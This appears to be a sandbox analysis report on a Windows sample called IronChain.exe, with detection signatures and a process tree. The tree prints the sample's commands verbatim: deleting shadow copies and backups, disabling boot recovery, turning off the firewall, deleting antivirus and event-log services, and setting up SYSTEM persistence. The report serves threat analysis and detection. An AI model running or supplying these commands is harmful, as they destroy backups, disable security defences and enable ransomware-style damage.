Analysis
- user interaction
yes - max time kernel
899s - max time network
300s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
- submitted
24/10/2026, 15:04
General
- Target IronChain.exe
- Size 16.9MB
- Sample261024-sfw1cact6p
- SHA256 e2764e9380b6cd1765bcd581dec448c3f1c9d0be46650f67cb856c3ff51d8341
Score
9/10
Malware Config
Signatures
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 47 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Deletes backup catalog 3 TTPs 17 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Modifies Windows Firewall 2 TTPs 41 IoCs
- Creates new service(s) 2 TTPs
- Disables service(s) 3 TTPs
- Executes dropped EXE 8 IoCs
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Stops running service(s) 4 TTPs
- Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Drops file in System32 directory 4 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 22 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Interacts with shadow copies 3 TTPs 16 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 64 IoCs
- Opens file in notepad (likely ransom note) 8 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe"2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "I6SROZNsCHZsAcINSYa4S" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "I6SROZNsCHZsAcINSYa4S" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "I6SROZNsCHZsAcINSYa4S""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "I6SROZNsCHZsAcINSYa4S"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /reset"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /inheritance:d"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Administrators""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Admin""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Admin"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Authenticated Users""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /grant "Users:RX""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /grant "Users:RX"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /inheritance:d"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exeC:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "WGiBnGdMoOw4sjUVpldjaMtHemSzvsc" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WGiBnGdMoOw4sjUVpldjaMtHemSzvsc" /tr "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "WGiBnGdMoOw4sjUVpldjaMtHemSzvsc""5⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "WGiBnGdMoOw4sjUVpldjaMtHemSzvsc"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"5⤵
-
C:\Windows\system32\sc.exesc stop EventLog6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config EventLog start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"5⤵
-
C:\Windows\system32\sc.exesc stop Resmon6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config Resmon start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId6⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\net.exenet stop AVP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVP5⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete KAV5⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS5⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"5⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVG5⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc delete MBAMService5⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb5⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc5⤵
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService5⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Sense5⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend5⤵
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc5⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv5⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv5⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog5⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop swprv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete swprv5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"5⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet6⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop swprv6⤵
-
-
-
C:\Windows\System32\wscript.exewscript.exe C:\Windows\System32\wininit_check.vbs5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\System32\wininit_check.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\wscript.exewscript.exe C:\Windows\System32\dcomlaunch_check.vbs5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Windows\System32\dcomlaunch_check.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe""5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create IF9ROpNvCHe5AAINaFkrg binPath= "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" start= auto DisplayName= "MoIgRFsdvAOJNCHYA1eIN""5⤵
-
C:\Windows\system32\sc.exesc create IF9ROpNvCHe5AAINaFkrg binPath= "C:\Windows\System32\WOidnWddolwUsxUFpjdwabtpeiS9vkc.exe" start= auto DisplayName= "MoIgRFsdvAOJNCHYA1eIN"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description IF9ROpNvCHe5AAINaFkrg "Trusted security module""5⤵
-
C:\Windows\system32\sc.exesc description IF9ROpNvCHe5AAINaFkrg "Trusted security module"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start IF9ROpNvCHe5AAINaFkrg"5⤵
-
C:\Windows\system32\sc.exesc start IF9ROpNvCHe5AAINaFkrg6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure IF9ROpNvCHe5AAINaFkrg reset= 86400 actions= restart/5000/restart/5000/restart/5000"5⤵
-
C:\Windows\system32\sc.exesc failure IF9ROpNvCHe5AAINaFkrg reset= 86400 actions= restart/5000/restart/5000/restart/50006⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im cmd.exe5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical IF9ROpNvCHe5AAINaFkrg"5⤵
-
C:\Windows\system32\sc.exesc critical IF9ROpNvCHe5AAINaFkrg6⤵
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im msconfig.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im mmc.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq SystemSettings.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im SystemSettings.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq control.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im control.exe5⤵
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq WindowsSecurity.exe" /fo csv /nh5⤵
- Discovers running processes
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\net.exenet stop AVP /y3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVP3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config KAV start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete KAV3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete AVG3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MBAMService start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete wscsvc3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete Sense3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete WinDefend3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config WdNisSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete WdNisSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete NisSrv3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config EventLog start= disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exesc delete EventLog3⤵
-
-
C:\Windows\SYSTEM32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config swprv start= disabled3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc delete swprv3⤵
-
-
